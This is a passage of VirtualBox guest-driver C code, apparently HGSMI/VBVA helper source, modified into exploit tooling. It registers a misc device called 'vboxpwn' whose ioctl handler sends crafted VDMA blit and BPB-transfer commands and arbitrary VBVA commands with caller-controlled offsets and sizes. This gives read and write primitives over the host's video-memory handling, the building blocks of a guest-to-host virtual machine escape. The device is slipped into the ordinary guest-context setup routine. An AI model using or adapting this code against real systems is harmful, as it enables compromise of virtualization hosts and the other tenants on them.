        pBlt->dstRectl.top = 0;

        pBlt->srcDesc.width = 1;
        pBlt->srcDesc.height = req->size;
        pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->srcDesc.bpp = 1;
        pBlt->srcDesc.pitch = 1;
        pBlt->srcDesc.fFlags = 0;

        pBlt->dstDesc.width = 1;
        pBlt->dstDesc.height = req->size;
        pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->dstDesc.bpp = 1;
        pBlt->dstDesc.pitch = 1;
        pBlt->dstDesc.fFlags = 0;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VMDA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 2) {
        char *p;
        printk("Preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p + header_size, req->data, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;

        PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBlt->cDstSubRects = 0;
        pBlt->offSrc = p - g_vram + header_size;
        pBlt->offDst = req->offset;

        pBlt->srcRectl.width = 1;
        pBlt->srcRectl.height = req->size;
        pBlt->srcRectl.left = 0;
        pBlt->srcRectl.top = 0;

        pBlt->dstRectl.width = 1;
        pBlt->dstRectl.height = req->size;
        pBlt->dstRectl.left = 0;
        pBlt->dstRectl.top = 0;

        pBlt->srcDesc.width = 1;
        pBlt->srcDesc.height = req->size;
        pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->srcDesc.bpp = 1;
        pBlt->srcDesc.pitch = 1;
        pBlt->srcDesc.fFlags = 0;

        pBlt->dstDesc.width = 1;
        pBlt->dstDesc.height = req->size;
        pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
        pBlt->dstDesc.bpp = 1;
        pBlt->dstDesc.pitch = 1;
        pBlt->dstDesc.fFlags = 0;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VMDA command: %d\n", rc);
            return -EFAULT;
        }
    } else if (req->type == 3) {
        char *p;
        printk("Sending custom VBVA command (size=%u).\n", req->size);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         req->size,
                                         HGSMI_CH_VBVA,
                                         req->offset);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p, req->data, req->size);

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VBVA command: %d\n", rc);
            return -EFAULT;
        }
    } else if (req->type == 4) {
        char *p;
        printk("Preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memset(p + header_size, 0x41, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;

        PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBpb->cbTransferSize = req->size;
        pBpb->fFlags = 3;
        pBpb->Src.offVramBuf = req->offset;
        pBpb->Dst.offVramBuf = p - g_vram + header_size;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VDMA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 5) {
        char *p;
        printk("Preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memcpy(p + header_size, req->data, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;

        PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBpb->cbTransferSize = req->size;
        pBpb->fFlags = 3;
        pBpb->Dst.offVramBuf = req->offset;
        pBpb->Src.offVramBuf = p - g_vram + header_size;

        int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
        VBoxHGSMIBufferFree(g_hgsmiContext, p);
        if (RT_FAILURE(rc)) {
            printk("Error while sending VDMA command: %d\n", rc);
            return -EFAULT;
        }

        memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 6) {
        printk("Getting VRAM size\n");
        uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA);
        memcpy(req->data, &vram_size, sizeof vram_size);
    } else {
        printk("Unknown request type: %d\n", req->type);
        return -EFAULT;
    }

    return 0;
}

static struct file_operations   g_PwnFileOps =
{
    owner:          THIS_MODULE,
    unlocked_ioctl: pwnIOCtl,
};

static struct miscdevice        g_PwnDevice =
{
    minor:          MISC_DYNAMIC_MINOR,
    name:           "vboxpwn",
    fops:           &g_PwnFileOps,
};


/**
 * Set up the HGSMI guest-to-host command context.
 * @returns iprt status value
 * @param  pCtx                    the context to set up
 * @param  pvGuestHeapMemory       a pointer to the mapped backing memory for
 *                                 the guest heap
 * @param  cbGuestHeapMemory       the size of the backing memory area
 * @param  offVRAMGuestHeapMemory  the offset of the memory pointed to by
 *                                 @a pvGuestHeapMemory within the video RAM
 */
DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                           void *pvGuestHeapMemory,
                                           uint32_t cbGuestHeapMemory,
                                           uint32_t offVRAMGuestHeapMemory,
                                           const HGSMIENV *pEnv)
{
    g_vram = (char*)pvGuestHeapMemory - offVRAMGuestHeapMemory;
    g_hgsmiContext = pCtx;
    printk("Registering device node. VRAM @ 0x%016lx\n", g_vram);
    if (!misc_register(&g_PwnDevice)) {
        printk("Successfully created pwn device.\n");
    } else {
        printk("Error creating pwn device.\n");
    }

    /** @todo should we be using a fixed ISA port value here? */
    pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST;
#ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIInit(&pCtx->heapCtx, pvGuestHeapMemory,
                          cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
#else
    return HGSMIHeapSetup(&pCtx->heapCtx, pvGuestHeapMemory,
                          cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
#endif
}


/**
 * Get the information needed to map the area used by the host to send back
 * requests.
 *
 * @param  pCtx                the context containing the heap to use
 * @param  cbVRAM              how much video RAM is allocated to the device
 * @param  offVRAMBaseMapping  the offset of the basic communication structures
 *                             into the guest's VRAM
 * @param  poffVRAMHostArea    where to store the offset into VRAM of the host
 *                             heap area
 * @param  pcbHostArea         where to store the size of the host heap area
 */
DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             uint32_t cbVRAM,
                                             uint32_t offVRAMBaseMapping,
                                             uint32_t *poffVRAMHostArea,
                                             uint32_t *pcbHostArea)
{
    uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0;

    AssertPtrReturnVoid(poffVRAMHostArea);
    AssertPtrReturnVoid(pcbHostArea);
    VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbHostArea);
    if (cbHostArea != 0)
    {
        uint32_t cbHostAreaMaxSize = cbVRAM / 4;
        /** @todo what is the idea of this? */
        if (cbHostAreaMaxSize >= VBVA_ADAPTER_INFORMATION_SIZE)
        {
            cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE;
        }
        if (cbHostArea > cbHostAreaMaxSize)
        {
            cbHostArea = cbHostAreaMaxSize;
        }
        /* Round up to 4096 bytes. */
        cbHostArea = (cbHostArea + 0xFFF) & ~0xFFF;
        offVRAMHostArea = offVRAMBaseMapping - cbHostArea;
    }

    *pcbHostArea = cbHostArea;
    *poffVRAMHostArea = offVRAMHostArea;
    LogFunc(("offVRAMHostArea = 0x%08X, cbHostArea = 0x%08X\n",
             offVRAMHostArea, cbHostArea));
}


/**
 * Initialise the host context structure.
 *
 * @param  pCtx               the context structure to initialise
 * @param  pvBaseMapping      where the basic HGSMI structures are mapped at
 * @param  offHostFlags       the offset of the host flags into the basic HGSMI
 *                            structures
 * @param  pvHostAreaMapping  where the area for the host heap is mapped at
 * @param  offVRAMHostArea    offset of the host heap area into VRAM
 * @param  cbHostArea         size in bytes of the host heap area
 */
DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                           void *pvBaseMapping,
                                           uint32_t offHostFlags,
                                           void *pvHostAreaMapping,
                                           uint32_t offVRAMHostArea,
                                           uint32_t cbHostArea)
{
    uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags;
    pCtx->pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags;
    /** @todo should we really be using a fixed ISA port value here? */
    pCtx->port        = (RTIOPORT)VGA_PORT_HGSMI_HOST;
    HGSMIAreaInitialize(&pCtx->areaCtx, pvHostAreaMapping, cbHostArea,
                         offVRAMHostArea);
}


/**
 * Tell the host about the ways it can use to communicate back to us via an
 * HGSMI command
 *
 * @returns  iprt status value
 * @param  pCtx                  the context containing the heap to use
 * @param  offVRAMFlagsLocation  where we wish the host to place its flags
 *                               relative to the start of the VRAM
 * @param  fCaps                 additions HGSMI capabilities the guest
 *                               supports
 * @param  offVRAMHostArea       offset into VRAM of the host heap area
 * @param  cbHostArea            size in bytes of the host heap area
 */
DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                         HGSMIOFFSET offVRAMFlagsLocation,
                                         uint32_t fCaps,
                                         uint32_t offVRAMHostArea,
                                         uint32_t cbHostArea)
{
    Log(("VBoxVideo::vboxSetupAdapterInfo\n"));

    /* setup the flags first to ensure they are initialized by the time the
     * host heap is ready */
    int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation);
    AssertRC(rc);
    if (RT_SUCCESS(rc) && fCaps)
    {
        /* Inform about caps */
        rc = vboxHGSMISendCapsInfo(pCtx, fCaps);
        AssertRC(rc);
    }
    if (RT_SUCCESS (rc))
    {
        /* Report the host heap location. */
        rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea);
        AssertRC(rc);
    }
    Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc));
    return rc;
}


/** Sanity test on first call.  We do not worry about concurrency issues. */
static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx)
{
    static bool cOnce = false;
    uint32_t ulValue = 0;
    int rc;

    if (cOnce)
        return VINF_SUCCESS;
    cOnce = true;
    rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulValue);
    if (RT_SUCCESS(rc) && ulValue == UINT32_MAX)
        return VINF_SUCCESS;
    cOnce = false;
    if (RT_FAILURE(rc))
        return rc;
    return VERR_INTERNAL_ERROR;
}


/**
 * Query the host for an HGSMI configuration parameter via an HGSMI command.
 * @returns iprt status value
 * @param  pCtx      the context containing the heap used
 * @param  u32Index  the index of the parameter to query,
 *                   @see VBVACONF32::u32Index
 * @param  u32DefValue defaut value
 * @param  pulValue  where to store the value of the parameter on success
 */
DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue)
{
    int rc = VINF_SUCCESS;
    VBVACONF32 *p;
    LogFunc(("u32Index = %d\n", u32Index));

    rc = testQueryConf(pCtx);
    if (RT_FAILURE(rc))
        return rc;
    /* Allocate the IO buffer. */
    p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx,
                                     sizeof(VBVACONF32), HGSMI_CH_VBVA,
                                     VBVA_QUERY_CONF32);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->u32Index = u32Index;
        p->u32Value = u32DefValue;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
        {
            *pulValue = p->u32Value;
            LogFunc(("u32Value = %d\n", p->u32Value));
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
}

DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                   uint32_t u32Index, uint32_t *pulValue)
{
    return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue);
}

/**
 * Pass the host a new mouse pointer shape via an HGSMI command.
 *
 * @returns  success or failure
 * @param  fFlags    cursor flags, @see VMMDevReqMousePointer::fFlags
 * @param  cHotX     horizontal position of the hot spot
 * @param  cHotY     vertical position of the hot spot
 * @param  cWidth    width in pixels of the cursor
 * @param  cHeight   height in pixels of the cursor
 * @param  pPixels   pixel data, @see VMMDevReqMousePointer for the format
 * @param  cbLength  size in bytes of the pixel data
 */
DECLHIDDEN(int)  VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             uint32_t fFlags,
                                             uint32_t cHotX,
                                             uint32_t cHotY,
                                             uint32_t cWidth,
                                             uint32_t cHeight,
                                             uint8_t *pPixels,
                                             uint32_t cbLength)
{
    VBVAMOUSEPOINTERSHAPE *p;
    uint32_t cbData = 0;
    int rc = VINF_SUCCESS;

    if (fFlags & VBOX_MOUSE_POINTER_SHAPE)
    {
        /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) */
        cbData = ((((cWidth + 7) / 8) * cHeight + 3) & ~3)
                 + cWidth * 4 * cHeight;
        /* If shape is supplied, then always create the pointer visible.
         * See comments in 'vboxUpdatePointerShape'
         */
        fFlags |= VBOX_MOUSE_POINTER_VISIBLE;
    }
    LogFlowFunc(("cbData %d, %dx%d\n", cbData, cWidth, cHeight));
    if (cbData > cbLength)
    {
        LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n",
                 cbData, cbLength));
        return VERR_INVALID_PARAMETER;
    }
    /* Allocate the IO buffer. */
    p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx,
                                                  sizeof(VBVAMOUSEPOINTERSHAPE)
                                                + cbData,
                                                HGSMI_CH_VBVA,
                                                VBVA_MOUSE_POINTER_SHAPE);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        /* Will be updated by the host. */
        p->i32Result = VINF_SUCCESS;
        /* We have our custom flags in the field */
        p->fu32Flags = fFlags;
        p->u32HotX   = cHotX;
        p->u32HotY   = cHotY;
        p->u32Width  = cWidth;
        p->u32Height = cHeight;
        if (p->fu32Flags & VBOX_MOUSE_POINTER_SHAPE)
            /* Copy the actual pointer data. */
            memcpy (p->au8Data, pPixels, cbData);
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
            rc = p->i32Result;
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFlowFunc(("rc %d\n", rc));
    return rc;
}


/**
 * Report the guest cursor position.  The host may wish to use this information
 * to re-position its own cursor (though this is currently unlikely).  The
 * current host cursor position is returned.
 * @param  pCtx             The context containing the heap used.
 * @param  fReportPosition  Are we reporting a position?
 * @param  x                Guest cursor X position.
 * @param  y                Guest cursor Y position.
 * @param  pxHost           Host cursor X position is stored here.  Optional.
 * @param  pyHost           Host cursor Y position is stored here.  Optional.
 * @returns  iprt status code.
 * @returns  VERR_NO_MEMORY      HGSMI heap allocation failed.
 */
DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y,
                                        uint32_t *pxHost, uint32_t *pyHost)
{
    int rc = VINF_SUCCESS;
    VBVACURSORPOSITION *p;
    Log(("%s: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y));

    /* Allocate the IO buffer. */
    p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->fReportPosition = fReportPosition ? 1 : 0;
        p->x = x;
        p->y = y;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        if (RT_SUCCESS(rc))
        {
            if (pxHost)
                *pxHost = p->x;
            if (pyHost)
                *pyHost = p->y;
            Log(("%s: return: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)p->x, (unsigned)p->y));
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
}


/** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region
 * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain
 * host information which is needed by the guest.
 *
 * Reading will not cause a switch to the host.
 *
 * Have to take into account:
 *  * synchronization: host must write to the memory only from EMT,
 *    large structures must be read under flag, which tells the host
 *    that the guest is currently reading the memory (OWNER flag?).
 *  * guest writes: may be allocate a page for the host info and make
 *    the page readonly for the guest.
 *  * the information should be available only for additions drivers.
 *  * VMMDev additions driver will inform the host which version of the info it expects,
 *    host must support all versions.
 *
 */
 ```